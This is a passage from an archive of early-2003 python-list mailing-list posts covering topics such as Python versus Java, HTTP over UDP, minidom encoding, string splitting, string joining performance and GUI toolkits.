 <mailman.1041979908.27085.python-list@python.org>
 <52719db8.0301071942.7d23cc46@posting.google.com>
Message-ID: <Pine.LNX.4.51.0301080749420.23811@ns0.tbye.com>

On Tue, 7 Jan 2003, James Huang wrote:

> > Could you please explain how scripting, e.g. ActiveX (per the article on
> > your site) is any better (heck, any _different_ for that matter) than
> > doing it in, e.g. Python? I looked at the example code and it is nearly
> > identical to the Python equivalent (well, I only looked at the Internet
> > Explorer example - once I saw that it was virtually identical to the
> > Python version I stopped reading).
> >
>
> Python for ActiveX is a right thing, and this creates another
> variant of Python. Another famous one is Jython.

Not at all. It's not "Python for ActiveX" - it's the standard version of
Python being used to script ActiveX; it's definitely not some variant of
Python or special build of it or something.

Not that big of a deal, except that ISTM that references to Python on your
site seem to be inaccurate, that's all. In this specific case, the message
I got from your documentation was that Judoscript was particularly
well-suited for these tasks (like scripting ActiveX) but I'm having
trouble seeing how, or for that matter, seeing that it is even different
at all except for some minor syntactical differences. There's nothing
wrong with taking the position that some new tool adds value, I guess I'm
just not "getting it" though.

> > I got a kick out of this statement on your site:
> >
> > "which is a much better effort than Python libraries because Java is an
> > established system programming language , designed for and capable of
> > building big software applications"
> >
> > I guess I don't know who your intended audience is, because to me such a
> > statement really lowers your credibility. If you'd like I'd be happy to
> > help rewrite it to at least make it accurate.
> >
>
> I've heard big software projects done in Python, guess that's what you
> are referring to. Being a C/C++/Java guy, it is hard for me to imagine
> creating big software with weakly-typed languages beyond prototyping.

Hmm... how seriously would you take any assertion I made on the basis of
what I'm comfortable imagining? <0.5 wink> Also, Python isn't a
weakly-typed language.

FWIW, it's hard for me to imagine creating big software with Java or C++,
but somehow people manage to do it anyway. Having worked on moderately
large projects in Java, C++, and Python, I've found Python to be well
suited to the task. Java projects in particular tend to become unstoppable
train wrecks as the project size grows.

> Even so, Java is still unbeatable.

I feel the same way about the color 'forest green'. Surely on that basis
alone people will come around to my way of thinking, right?

Nice talking to you!
-Dave




From irmen at NOSPAM-REMOVETHIS-xs4all.nl  Tue Jan  7 19:38:15 2003
From: irmen at NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Wed, 08 Jan 2003 01:38:15 +0100
Subject: Is it really good?
In-Reply-To: <3e1b6e4d$0$49116$e4fe514c@news.xs4all.nl>
References: <mailman.1041979617.22059.python-list@python.org> <3e1b6e4d$0$49116$e4fe514c@news.xs4all.nl>
Message-ID: <3e1b72f5$0$49116$e4fe514c@news.xs4all.nl>

Irmen de Jong wrote:
[...]
> Why indeed is the "is good" part not evaluated?
[...]

Forget it. I missed Skip's post about the Chained operations ;-)




From martin at v.loewis.de  Fri Jan 24 10:16:24 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 24 Jan 2003 16:16:24 +0100
Subject: Something like asynchronous XML-RPC possible?
In-Reply-To: <cb035744.0301240635.119ee4f2@posting.google.com>
References: <cb035744.0301240308.25034fed@posting.google.com> <3E312626.303@v.loewis.de> <cb035744.0301240635.119ee4f2@posting.google.com>
Message-ID: <b0rlc4$hbj$01$1@news.t-online.com>

Will Stuyvesant wrote:
> Well I just do not understand how to use the UDPRequestHandler (or
> something like that) and HTTPServer(protocol = "UDP") and registering
> an instance object with it so its "methods" act like event handlers
> (caller not blocking and no return value send back to caller).  

I see. I believe you cannot readily use the HTTPServer class, since it 
assumes connection-oriented communication - it needs to send a reply, 
and it assumes that it can send the reply back on the same file 
descriptor/socket handle from which it got the request, just by 
performing an un-addressed send on it (I believe it actually performs 
makefile, then .write).

You should also explain what "HTTP over UDP" means to you: how is a HTTP 
request transmitted via UDP?

For TCP, it is often the case that a single HTTP request is transmitted 
in multiple IP packets. For UDP, this would be bad, since you cannot 
rely that the packets are received in the same order in which they are sent.

So you might have to sent the entire HTTP request in a single packet. 
This, of course, limits the request size to a single packet, and may 
fail silently if the packet size exceeds the maximum segment size of the 
connection (which you cannot determine, since you use connection-less 
communication).

In any case, I recommend that you just use the various Request objects, 
and simulate streams by putting the data into StringIO classes. Then, 
you assemble and disassemble entire requests in such a StringIO class, 
and transmit them in single send/recvfrom calls.

> I did
> not find much examples in the docs, and the examples I found were all
> about TCP.  

Not surprisingly so, since UDP is so much more painful for real world 
applications that nobody uses it unless the other end already mandates 
it. You must have very large resources, in terms of man-power, if you 
want to use UDP.

 > There is one example called "Heartbeat" that does UDP but
> I would have to rewrite the "requesthandler" and to provide a
> registering mechanism like SimpleXMLRPCServer has.  Uh oh.  This just
> gets over my head.  Am I making sense here? :)

Not really. I still recommend you start with the client, and leave the 
server for later.

For the server side, I recommend that you ignore all these processing 
layers, and try to use the plain socket API first - to get a working 
peer. For the moment, something that merely prints all packets it 
receives might be sufficient to demonstrate that the client works. If 
you have that working, and you still don't see how to proceed, please 
ask again.

Regards,
Martin




From ngps at netmemetic.com  Tue Jan 28 20:04:34 2003
From: ngps at netmemetic.com (Ng Pheng Siong)
Date: 29 Jan 2003 01:04:34 GMT
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <7x65s9dnea.fsf@ruckus.brouhaha.com> <mailman.1043791529.1041.python-list@python.org> <7xr8awg6lt.fsf@ruckus.brouhaha.com>
Message-ID: <b179b2$l8f$1@mawar.singnet.com.sg>

According to Paul Rubin  <phr-n2003b at NOSPAMnightsong.com>:
> And it's desirable to get some
> reasonable crypto out there soon ...

That's not a reasonable statement, Paul.

(I'm not into APIs, and I have a startup to keep afloat, so I'll pass on
this one.)

Cheers.


-- 
Ng Pheng Siong <ngps at netmemetic.com> * http://www.netmemetic.com




From TomH at optiscan.com  Thu Jan 30 19:58:04 2003
From: TomH at optiscan.com (Tom Harris)
Date: Fri, 31 Jan 2003 11:58:04 +1100
Subject: Accessing Win32 class names
Message-ID: <D1CF0387F1A4D51182B600D0B7A7A95F0715BE@uluru2.optiscan.com>

Greetings

Anyone know how to get the Windows class name knowing the handle in Python?
For some reason win32gui does not appear to wrap the API call GetClassName()

TomH <tomh(AT)optiscan(DOT)com>





From nospam at mega-nerd.com  Tue Jan  7 15:53:12 2003
From: nospam at mega-nerd.com (Erik de Castro Lopo)
Date: Tue, 07 Jan 2003 20:53:12 GMT
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <d8mf1vsm6271d5m4nao9t91dcs7m865n82@4ax.com> <slrnb1go12.kv8.grante@localhost.localdomain> <pjah1v0g2k0bll013pbmtspmvl6vd67ojn@4ax.com> <mailman.1041828311.29580.python-list@python.org> <hmiS9.107$4h.14478394@mantis.golden.net>
Message-ID: <3E1B3E39.850B076D@mega-nerd.com>

Etienne Charland wrote:
> 
> Some work is done to make .NET cross-platform: MONO
> 
> www.go-mono.com


You are making a big assumption that microsoft will not try
to destroy the MONO project by using its huge patent portfolio
against it.

Leaked internal micorosoft documents suggest that microsoft
will try to do this if it can.

    http://www.opensource.org/halloween/

Erik
-- 
+-----------------------------------------------------------+
  Erik de Castro Lopo  nospam at mega-nerd.com (Yes it's valid)
+-----------------------------------------------------------+
"I have long argued that the entertainment industry doesn't want people to have 
computers. Computers give users too much capability, too much flexibility, too 
much freedom. The entertainment industry wants users to sit back and consume 
things. They are trying to turn a computer into an Internet Entertainment 
Platform, along the lines of a television or VCR. This bill is a large step in 
that direction."
 -- Bruce Schneier



From itcram at yahoo.com  Wed Jan 15 10:52:09 2003
From: itcram at yahoo.com (Mark)
Date: 15 Jan 2003 07:52:09 -0800
Subject: Finding the calling method
References: <df392399.0301141226.1554a055@posting.google.com> <mailman.1042576952.30705.python-list@python.org>
Message-ID: <df392399.0301150752.625b034d@posting.google.com>

Skip Montanaro <skip at pobox.com> wrote in message news:<mailman.1042576952.30705.python-list at python.org>...
> Mark> Is there a way while I'm inside method B to find out what method
>     Mark> called it, which would be method A.
> 
> Check out sys._getframe() and various functions exposed in the inspect
> module (getframeinfo(), currentframe(), stack(), etc).
> 
> Skip

Thanks for the adivce!!!!!!!

-Mark



From sandskyfly at hotmail.com  Sat Jan 11 16:07:18 2003
From: sandskyfly at hotmail.com (Sandy Norton)
Date: 11 Jan 2003 13:07:18 -0800
Subject: escaping illegal characters in XML
References: <b03e80d.0301110516.439825f0@posting.google.com>
Message-ID: <b03e80d.0301111307.5755c41e@posting.google.com>

An article by Uche Ogbuji
http://www.xml.com/lpt/a/2002/11/13/py-xml.html
was very helpful in solving the described problem. Hope this helps
someone else.

Now if I can only figure out how to insert the encoding attribute
using minidom. Setting the 'encoding' attribute of the Document
element does not seem to do the trick:

from xml.dom.minidom import Document

doc = Document()
doc.encoding = 'UTF-8'
root = doc.createElement('section')
doc.appendChild(root)
sources = doc.createElement('item')
sources.setAttribute('harvested', 'blah blah')
root.appendChild(sources)
print doc.toprettyxml()

only produces:

<?xml version="1.0" ?>
<section>
	<item harvested="blah blah"/>
</section>

instead of:

<?xml version="1.0" encoding="UTF-8" ?> 
<section>
	<item harvested="blah blah"/>
</section>


Anybody have any ideas?


Sandy



From bokr at oz.net  Mon Jan 13 12:31:28 2003
From: bokr at oz.net (Bengt Richter)
Date: 13 Jan 2003 17:31:28 GMT
Subject: python equiv of perl's split?
References: <m3k7h9p1p4.fsf@coco.kazmier.com>
Message-ID: <avut5g$i52$0@216.39.172.122>

On Mon, 13 Jan 2003 14:24:39 GMT, pete-temp-12-29-2002 at kazmier.com wrote:

>Just wondering what the 'best' way of emulating perl's split() method
>when used in the following manner:
>
>     split /(:)/
>
>Basically, split the string using a colon as the separator.  NOTE: the
>parens indicate that the split function should *include* the colons in
>the returned list.  Thus, given the string:
>
>     test:one:two:three
>
>The following array (list) is returned:
>
>     test
>     :
>     one
>     :
>     two
>     :
>     three
>
>What would be the easiest way to emulate this in Python?
>
Others have already mentioned that python's re has a split function,
but for a single character, I suspect the string method might be
faster. And since the it is not a variable pattern, you know what's
going to be returned, so why bother getting the ':' back?

You can always reconstitute the original with ':'join(pieces), e.g.

 >>> s = 'test:one:two:three'
 >>> sl = s.split(':')
 >>> sl
 ['test', 'one', 'two', 'three']
 >>> ':'.join(sl)
 'test:one:two:three'

Or mess with the pieces and join them differently

 >>> map(str.title, sl)
 ['Test', 'One', 'Two', 'Three']
 >>> ' :: '.join(map(str.title, sl))
 'Test :: One :: Two :: Three'

Just curious, what did you need the ':'s for?

Regards,
Bengt Richter



From chris.lyon at spritenote.co.uk  Fri Jan 17 09:29:02 2003
From: chris.lyon at spritenote.co.uk (Chris Lyon)
Date: 17 Jan 2003 06:29:02 -0800
Subject: Introduction object-oriented programming
References: <b08ank$dak12@imsp212.netvigator.com>
Message-ID: <d232c5e.0301170629.2fb81bcd@posting.google.com>

> Without the objects it goes fine, however I have the idea that objects can
> make things a lot easier - both in design, implementation and maintenance.

I understand your position, certainly the book refered to is
excellent, but be sure to read it very carefully there are subtleties
that only emerge after the concept is understood and names of things
are very important!

With regard to the OOP transition what skill I have developed has been
dirived from writing code. Try very simple representations, like
directory structures and do something with them list sizes of files,
types etc,

Like most mind set transitions until you think you've got it, it is
difficult to understand the advantages even though you are sure they
are there.



From boud at valdyas.org  Sat Jan 11 15:16:49 2003
From: boud at valdyas.org (Boudewijn Rempt)
Date: Sat, 11 Jan 2003 21:16:49 +0100
Subject: GUI speed
References: <mailman.1042070716.17019.python-list@python.org> <slrnb1pk9b.ga.gerhard.haering@lilith.my-fqdn.de> <slrnb1rtc1.ek.gerhard.haering@lilith.my-fqdn.de> <3e1dfaaa$0$94297$e4fe514c@dreader4.news.xs4all.nl> <avkua5$ib0$1@news.tudelft.nl>
Message-ID: <3e207d1c$0$2227$e4fe514c@dreader6.news.xs4all.nl>

Charl P. Botha wrote:

> In article <3e1dfaaa$0$94297$e4fe514c at dreader4.news.xs4all.nl>,
> Boudewijn Rempt wrote:
>> In my experience, PyQt, wxWindows and Tkinter Python apps all feel
>> snappier and more responsive than the Swing apps I've worked with. On
>> the other hand, Eclipse manages about the same 'feel' as the Python
>> gui's qua speed.
> 
> Watch the Dutchisms... ;) "qua" in this sense doesn't seem to be as
> colloquial in English as we would like: maybe "with regards to" would have
> been more universally understandable.

Sure, but that word wasn't readily available at half past eleven.
-- 
Boudewijn Rempt | http://www.valdyas.org



From claird at lairds.com  Sun Jan  5 08:38:26 2003
From: claird at lairds.com (Cameron Laird)
Date: Sun, 05 Jan 2003 13:38:26 -0000
Subject: Truth in dating (was: HELP! Must choose language!)
References: <20030101042101.1615.84075.Mailman@mail.python.org> <mailman.1041399123.31276.python-list@python.org>
Message-ID: <v1gdaicshqmr47@corp.supernews.com>

In article <mailman.1041399123.31276.python-list at python.org>,
Terry Hancock  <hancock at anansispaceworks.com> wrote:
			.
			.
			.
>Actually I'm sure all those languages will still be used by somebody, but 
>relative popularity is fickle.  Just compare the current marketplace with 
>where it was ten years ago (1993). Remember, that's the year HTTP was first 
>deployed.  Linux was a fledgling and hardly anyone had heard of Python (I 
>don't actually know when Python was invented). Java was hardly known either. 
>Perl was around, but not that widely used (because it was the web that made 
>it insanely popular).  I don't think CGI had been invented, and C/C++ 
>dominated the commercial programming marketplace.  People who wanted to sound 
			.
			.
			.
I'll leave aside questions about the acceptance of
C++ in commercial programming at the beginning of 
'93, and whether Perl was "widely used".

I'm not sure what you mean by "deployed".  <URL:
http://www.w3.org/History/19921103-hypertext/hypertext/WWW/Link.html >
has been in *use* since late 1990.  In January 1993,
there were over four dozen public HTTP server known.
RFC 1945 specified HTTP 1.0 in 1996 (!), but it 
states, "HTTP has been in use ... since 1990."

Guido invented Python in '90--he'd been designing
it over the winter '89 holidays.  First public re-
least was in 1991.  c.l.p was created in 1994.

Sun formally announced Java at SunWorld '95 (May 
23).  Usable forms of the language were in the
lab around a year earlier (*not* in 1991, though
you'll sometimes see that), but it was only early
in 1995 that the name "Java" was adopted, or that
outsiders had a chance to use it.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From tim.one at comcast.net  Thu Jan  9 19:54:53 2003
From: tim.one at comcast.net (Tim Peters)
Date: Thu, 09 Jan 2003 19:54:53 -0500
Subject: Confusion about numbers
In-Reply-To: <3E1DE73E.5060307@cascade-sys.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEMKDHAB.tim.one@comcast.net>

[Terry Reedy]
> The unification will not be complete until 2.4 or 2.5.  Changes that
> break code will only be introduced after at least one release that
> emits warning.

[James J. Besemer]
> So THAT'S why 1<<32 == 0 in 2.2.2?

It depends on which platform you run that on.  If a C long is 32 bits, yes,
it returns 0.  If a C long is 64 bits, it returns 4294967296.  When
unification is complete, it will return 4294967296 on all platforms.  This
will break somebody's code, although not mine <wink>.





From hancock at anansispaceworks.com  Thu Jan 23 12:54:15 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Thu, 23 Jan 2003 17:54:15 GMT
Subject: pgame GUI
References: <09gv2vsva0mhvc7pb66fscr3aracv5on7l@4ax.com>
Message-ID: <b%VX9.8207$bL4.809725@newsread2.prod.itd.earthlink.net>

Havok wrote:
> If theres nothing available then I'll attempt to modify pyui so I can
> plug it ino pygame, but don't want to reinvent the wheel :)

I haven't tested it, but I'm pretty sure PyUI already runs on PyGame, 
doesn't it?

http://pyui.sourceforge.net/

Or did you mean that PyUI didn't have the features you needed?

Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From andrew-pythonlist at puzzling.org  Fri Jan 31 09:01:44 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Sat, 1 Feb 2003 01:01:44 +1100
Subject: Joining strings versus augmented assignment
In-Reply-To: <8f2c2d6b.0301310534.426f1f64@posting.google.com>
References: <8f2c2d6b.0301310534.426f1f64@posting.google.com>
Message-ID: <20030131140144.GB15646@frobozz.local>

On Fri, Jan 31, 2003 at 05:34:23AM -0800, Andy Todd wrote:
> In his Linux Journal piece on Quixote
> (http://www.linuxjournal.com/article.php?sid=6178) Greg Ward mentions
> that when joining a series of strings together it is more efficient to
> use "".join(listOfStrings) rather than += (augmented assignment).
> 
> I couldn't find any obvious references to this in the documentation or
> in this group.
> 
> Would anyone care to explain why this is so to a poor ignoramous?

Strings are immutable in Python.  This means that doing
   s = "a"
   s += "b"
   s += "c"
   s += "d"

allocates and creates "ab", "abc", and "abcd" (in addition to "a", "b", "c"
and "d", which you're obviously going to have no matter how you join them).
In fact, you can see that "a" will be copied several times before it lands
in the final result.

Doing "".join(["a", "b", "c", "d"]) allocates a single string the right
size, and copy all the pieces *once*, creating "abcd" in a single step.

HTH,

-Andrew.





From ykingma at accessforall.nl  Fri Jan 17 13:51:32 2003
From: ykingma at accessforall.nl (Ype Kingma)
Date: Fri, 17 Jan 2003 19:51:32 +0100
Subject: try exec
References: <rm7e2vk3k2n1prbaf80p89fecsgsuher9p@4ax.com> <3e2728cd$0$130$e4fe514c@dreader5.news.xs4all.nl> <e6me2vo0cefdduqqvrj7geiptp2a0kh8eg@4ax.com>
Message-ID: <3e2856e6$0$2242$e4fe514c@dreader6.news.xs4all.nl>

Afanasiy wrote:

> On Thu, 16 Jan 2003 22:28:05 +0100, Ype Kingma <ykingma at accessforall.nl>
> wrote:
> 
>>Afanasiy wrote:
>>
>>> Some code I "exec" throws a TypeError exception. I want it to throw this
>>> exception but want to be able to catch this along with the others which
>>> are in fact being caught by the try/except block.
>>> 
>>> The specific TypeError in this case is caused by a module-defined
>>> function being called with the incorrect number of arguments. Again,
>>> I want to catch this exception. The problem is, this exception, unlike
>>> the others, is not being caught/handled by my try/except block.
>>
>>How do you know it is thrown?
> 
> Upon execution of the Python script, the standard exception printout
> occurs at this location, denoting exactly what the error is and
> halting execution of the script.
> 
>   Traceback (most recent call last):
>     File "C:\test.py", line 21, in ?
>       for line, expecting in lines:
>   TypeError: function takes exactly 0 arguments (1 given)
> 
> Where, given my code it should have shown (and continued execution) :

I don't follow this '(and continued execution)'.
 
>   ('Foo() takes exactly 0 arguments (1 given)',)
> 

But the lines read (from your first post):

lines = [
  ('foo = MyModule.Something()',1),
  ('foo.Function("hmm")',0),
  ...etc..
]

Where is this Foo() call?

Could you isolate the problem in some minimal bits of code
and post all that code?

Regards,
Ype


-- 
email at xs4all.nl



From burkhard.nospam.kloss at kbcfp.com  Thu Jan 16 14:35:12 2003
From: burkhard.nospam.kloss at kbcfp.com (news)
Date: Thu, 16 Jan 2003 19:35:12 -0000
Subject: String Problem, What is it I don't understand?
References: <300e2v422gc01dsc8pn66jvi7cpooqkpek@4ax.com>
Message-ID: <1042745714.852680@master.nyc.kbcfp.com>

I think your misunderstanding is simply that indexing isn't done as
[start:length], but [start:end].  So you want
>>> day = xxx [3:5]
>>> year = xxx [6:8]
>>> day
'17'
>>> year
'03'
>>>


"Bubba" <bub at joos.us> wrote in message
news:300e2v422gc01dsc8pn66jvi7cpooqkpek at 4ax.com...
> I would expect to get the month day and year from the following, but
> day and year are null
>
> xxx = "01/17/03"
> month = xxx[0:2]
> print "month=",month
> day = xxx[3:2]
> print "day=",day
> year = xxx[6:2]
> print "year=",year
>
> Python 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on
> win32
> Type "copyright", "credits" or "license" for more information.
> IDLE 0.8 -- press F1 for help
> >>>
> month= 01
> day=
> year=





From mlsj at earthlink.net  Mon Jan 13 22:27:36 2003
From: mlsj at earthlink.net (Josh)
Date: 14 Jan 2003 03:27:36 GMT
Subject: Finding Clock speed
References: <Xns9302CE55E6761jslmAAearthlinknet@130.133.1.4> <3E237953.4C787F46@engcorp.com>
Message-ID: <Xns9302DA4B933EAjslmAAearthlinknet@130.133.1.4>

Peter Hansen <peter at engcorp.com> wrote in 
news:3E237953.4C787F46 at engcorp.com:

> Josh wrote:
>> 
>> Is there any way at all to find the clock speed on a Windows box from a
>> Python module?
> 
> Hmmm... is this to use in calculations of some kind, or just for
> display purposes?
> 
> -Peter
> 

 Well I just want to display it among other things. Any clue how its done?



From guido.schimmels at freenet.de  Fri Jan 10 16:40:38 2003
From: guido.schimmels at freenet.de (Guido Schimmels)
Date: Fri, 10 Jan 2003 22:40:38 +0100
Subject: ImportError: cannot import name quoteattr
Message-ID: <pan.2003.01.10.21.40.37.356223@freenet.de>

wxGlade gives me this error:
from xml.sax.saxutils import quoteattr
ImportError: cannot import name quoteattr

I had a look at saxutils.py and could 
successfully import other symbols from
this file.

Please, what could be the problem here ?

(python 2.2.2 on Linux)







From tebeka at cs.bgu.ac.il  Sun Jan 12 03:04:43 2003
From: tebeka at cs.bgu.ac.il (Miki Tebeka)
Date: 12 Jan 2003 00:04:43 -0800
Subject: Performance penalty for using classes?
Message-ID: <33803989.0301120004.76e09b9a@posting.google.com>

Hello All,

I need my M.Sc. to run fast but I don't want to recode it in C.
I've noticed that using classes can cause my code to run about 30%
slower.
(See the below tests)

Since I don't need OO much in this project is it worth moving to a
non-OO programming style?

Miki

--- class_test.py ---
#!/usr/bin/env python
import random

class Dot:
    def __init__(self, x, y):
        self._x = x
        self._y = y

    def x(self):
        return self._x

    def set_x(self, x):
        self._x = x

    def y(self):
        return self._y

    def set_y(self, y):
        self._y = y
    

def test_class(iterations):
    while iterations > 0:
        d = Dot(random.random(), random.random())
        x, y = d.x(), d.y()
        d.set_x(y)
        d.set_y(x)
        iterations -= 1

if __name__ == '__main__':
    from sys import argv, stdout
    if len(argv) > 1:
        iterations = long(argv[1])
    else:
        iterations = 100000

    print 'Going %d iterations' % iterations
    stdout.flush()
    test_class(iterations)
    print '* Done'
--- class_test.py ---

---- struct_test.py ---#!/usr/bin/env python

import random

def make_dot(x, y):
    return [x, y]

def dot_x(dot):
    return dot[0]

def dot_set_x(dot, x):
    dot[0] = x

def dot_y(dot):
    return dot[1]

def dot_set_y(dot, y):
    dot[1] = y


def test_struct(iterations):
    while iterations > 0:
        d = make_dot(random.random(), random.random())
        x, y = dot_x(d), dot_y(d)
        dot_set_x(d, y)
        dot_set_y(d, x)
        iterations -= 1


if __name__ == '__main__':
    from sys import argv, stdout
    if len(argv) > 1:
        iterations = long(argv[1])
    else:
        iterations = 100000

    print 'Going %d iterations' % iterations
    stdout.flush()
    t = test_struct(iterations)
    print '* Done'
--- struct-test.py ---

[10:02] $time class_test.py 
Going 100000 iterations
* Done
real 5.43
user 5.27
sys 0.02
[10:02] $time struct_test.py 
Going 100000 iterations
* Done
real 4.27
user 4.22
sys 0.00



From P_spam_ at draigBrady.com  Thu Jan  2 07:05:41 2003
From: P_spam_ at draigBrady.com (P_spam_ at draigBrady.com)
Date: Thu, 02 Jan 2003 12:05:41 +0000
Subject: Algorithm for extracting the prime factors of an integer 
In-Reply-To: <3e0e12e3$1_3@news.bluewin.ch>
References: <3e0e12e3$1_3@news.bluewin.ch>
Message-ID: <3E142B15.8080203@draigBrady.com>

Luca Bruderer wrote:
> Hi
> 
> I'm wondering which is the best algorithm to do this.

Erm there is some deep math involved with this.
I would suggest "prime factorization" in google.

This works on linux at least :-)

os.popen("factor 1234").readline().split()[1:]

P?draig.




From combe.michel at 9online.fr  Mon Jan  6 09:13:02 2003
From: combe.michel at 9online.fr (Michel COMBE)
Date: Mon, 6 Jan 2003 15:13:02 +0100
Subject: a bit off topic
Message-ID: <avc2qj$2fq$1@apollon.grec.isp.9tel.net>

Hi, all

Newbie to Zope, I would like to know where I can find some help.

Thanks
Michel Combe





From DLNXPEGFQVEB at spammotel.com  Fri Jan  3 05:54:02 2003
From: DLNXPEGFQVEB at spammotel.com (Christos TZOTZIOY Georgiou)
Date: Fri, 03 Jan 2003 12:54:02 +0200
Subject: How hard to allocate ALL Python data space (hence offset-based) in a memory mapped file image?
References: <atrq8s$83q$0@216.39.172.122>
Message-ID: <ngqa1vc3i9nkuoafjhdleqlodhuai5tidn@4ax.com>

On 19 Dec 2002 06:51:08 GMT, rumours say that bokr at oz.net (Bengt
Richter) might have written:

>Not that it already isn't in a memory mapped file or the equivalent as a
>byproduct of OS doings, but that's for swapping etc. I mean a file under
>control of the Python interpreter, to span all state-containing memory.
>(I don't mean a Python mmap per se, but an internal-to-the-interpreter
>use of the same mechanisms).

There are such mechanisms (I know the cpr[1] command in SGI Irix for
example, "checkpoint and restore for running processes), whose
experience has shown that it's possible even for multi-threaded
applications, as long as sockets are not used.

I think it would be feasible if Python was not stack based (ie, the
interpreter stack was actually a linked list in the heap, but ICBW)

References:
[1]
<URL:http://techpubs.sgi.com/library/tpl/cgi-bin/getdoc.cgi?coll=0650&db=man&fname=/usr/share/catman/u_man/cat1/cpr.z&srch=cpr>

-- 
TZOTZIOY, I speak England very best,
Real email address: 'dHpvdEBzaWwtdGVjLmdy\n'.decode('base64')



From jfda1971 at netscape.net  Fri Jan 17 10:51:04 2003
From: jfda1971 at netscape.net (Juan Diaz)
Date: Fri, 17 Jan 2003 10:51:04 -0500
Subject: MIB parser for documentation
Message-ID: <3E282668.3010807@netscape.net>

I'm looking for a python MIB parser to automatically generate tables 
that are easy to paste into a Word or WordPerfect document.  Does anyone 
knows about one ?




From mwh at python.net  Fri Jan 31 10:53:01 2003
From: mwh at python.net (Michael Hudson)
Date: Fri, 31 Jan 2003 15:53:01 GMT
Subject: Python Success Stories or Nightmares
References: <1043966994.2227.113.camel@refugeeMedia> <mailman.1043972709.6338.python-list@python.org>
Message-ID: <7h3hebpwc43.fsf@pc150.maths.bris.ac.uk>

Geoff Gerrietts <geoff at gerrietts.net> writes:

> Good stuff:
[...]
> - Unit tests are amazingly easy to write, since you can "stub in"
>   dependencies in lots of different ways.

I recently got smacked in the face (in a good way) by this one, so I
thought I'd quote it in isolation to make sure everyone read it.

Cheers,
M.

-- 
  Java is a WORA language! (Write Once, Run Away)
                	-- James Vandenberg (on progstone at egroups.com)
                           & quoted by David Rush on comp.lang.scheme



From tjreedy at udel.edu  Sun Jan 26 02:39:43 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Sun, 26 Jan 2003 02:39:43 -0500
Subject: memory leak with large list??
References: <mailman.1043498654.32707.python-list@python.org> <b0va52$hac$0@216.39.172.122> <c76ff6fc.0301252339.39db2df5@posting.google.com>
Message-ID: <CS-dnSQKgr8uD66jXTWcqw@comcast.com>

> > >Each object has at least a pointer to the object's type object,
and a
> > >refcount, for at least 8 bytes of overhead.  So a float object
consumes at
> > >least 16 bytes.
> > Why do you need to duplicate the type pointer for all those? I.e.,
if
> > you allocated space in decent-size arrays of object
representations without
> > type pointer, and just reserved a header slot in front of the
array, [snip]

Because in Python, each object is a separate object, and because lists
are heterogeneous.  Anyone who wants to work with 12 mil floats should
almost certainly be using Numerical Python, which does have homegenous
arrays of native floats (8 bytes per) along with C functions to do
most common 'base' computatons.

Terry J. Reedy





From paul at boddie.net  Fri Jan 24 07:30:20 2003
From: paul at boddie.net (Paul Boddie)
Date: 24 Jan 2003 04:30:20 -0800
Subject: XML vs Python?
References: <slrnb293jk.1hr.nthomas@rain.cise.ufl.edu> <23891c90.0301170257.7267c8c3@posting.google.com> <b0os62$59t$1@main.gmane.org> <mailman.1043336388.30828.python-list@python.org>
Message-ID: <23891c90.0301240430.9e707b4@posting.google.com>

Laura Creighton <lac at strakt.com> wrote in message news:<mailman.1043336388.30828.python-list at python.org>...
> 
> This is because Paul Boddie cannot spell Fredrik :-)
> You can get it here http://effbot.org/downloads/

That's because I was lazy while composing my article and because there
are many ways to spell it. It could be said that laziness brings on a
Perl-style mindset. ;-) Sorry Fredrik!

Paul



From bdesth at removethis.free.fr  Thu Jan 23 18:05:42 2003
From: bdesth at removethis.free.fr (laotseu)
Date: Thu, 23 Jan 2003 18:05:42 -0500
Subject: python + wxPython
References: <mailman.1043118157.17497.python-list@python.org> <mO3X9.460$k43.91047@news.uswest.net>
Message-ID: <3E307546.5010208@removethis.free.fr>

Kevin Altis wrote:

> "Victor" <victor at argilent.com> wrote in message
> news:mailman.1043118157.17497.python-list at python.org...
> 
>>I have intalled the regular python distribution for windows, but I want
>>to try out pyCrust, and it comes with wxPython, do I have to uninstall
>>python and then install wxpython? If I install wxpython over the regular
>>python will there be problems?
>>
>>- Vic
> 
> You don't want to uninstall Python. wxPython is a package and it will get
> installed in the Python site-packages directory. The only thing you need to
> make sure of is that your version of Python and wxPython match, so if you
> are using Python 2.2, you want the wxPython 2.4.0.1 for Py22.
> 
> ka
> 

And you'll need the correct version of wxWindows too !-)
Laotseu




From Kyler at news.Lairds.org  Thu Jan  9 11:25:57 2003
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Thu, 09 Jan 2003 16:25:57 GMT
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc> <3e1ca11b_4@nopics.sjc> <mailman.1042065497.31296.python-list@python.org> <3E1CAFB3.73CEA6A7@engcorp.com> <v1qvi6ddvfbu2e@corp.supernews.com> <3E1D7F8C.E0BCE81F@engcorp.com>
Message-ID: <i8j0f-m78.ln1@news.lairds.org>

Peter Hansen <peter at engcorp.com> writes:

>Waterloo is excellent, and no doubt Purdue is.

Am I the only one in this thread who received a BS from
Purdue for Computer Science?!  I haven't had much contact
with PU CS for awhile, but I've been appalled at reports
I've received from student workers who were CS undergrads.

I suppose it wouldn't be so bad if you just wanted to
learn to program with Java, but neither is picking up
"Java for Dummies" and it's a lot cheaper.

The CS program I'm slightly more involved with these days
is UC Berkeley's.  I've been favorably impressed by what
I've seen of it.

Give me a couple years to report on UC Merced.

--kyler



From deltapigz at telocity.com  Fri Jan 10 10:33:51 2003
From: deltapigz at telocity.com (Adonis)
Date: Fri, 10 Jan 2003 10:33:51 -0500
Subject: IDLEfork (0.9a1) bug?
Message-ID: <3e1ee7cd_3@nopics.sjc>

When I press F5 to run my script I get:

Traceback (most recent call last):
  File "C:\home\Adonis\python\VisualTkinter\vTkinter.py", line 3,
in -toplevel-
    import vt_sidebar
ImportError: No module named vt_sidebar

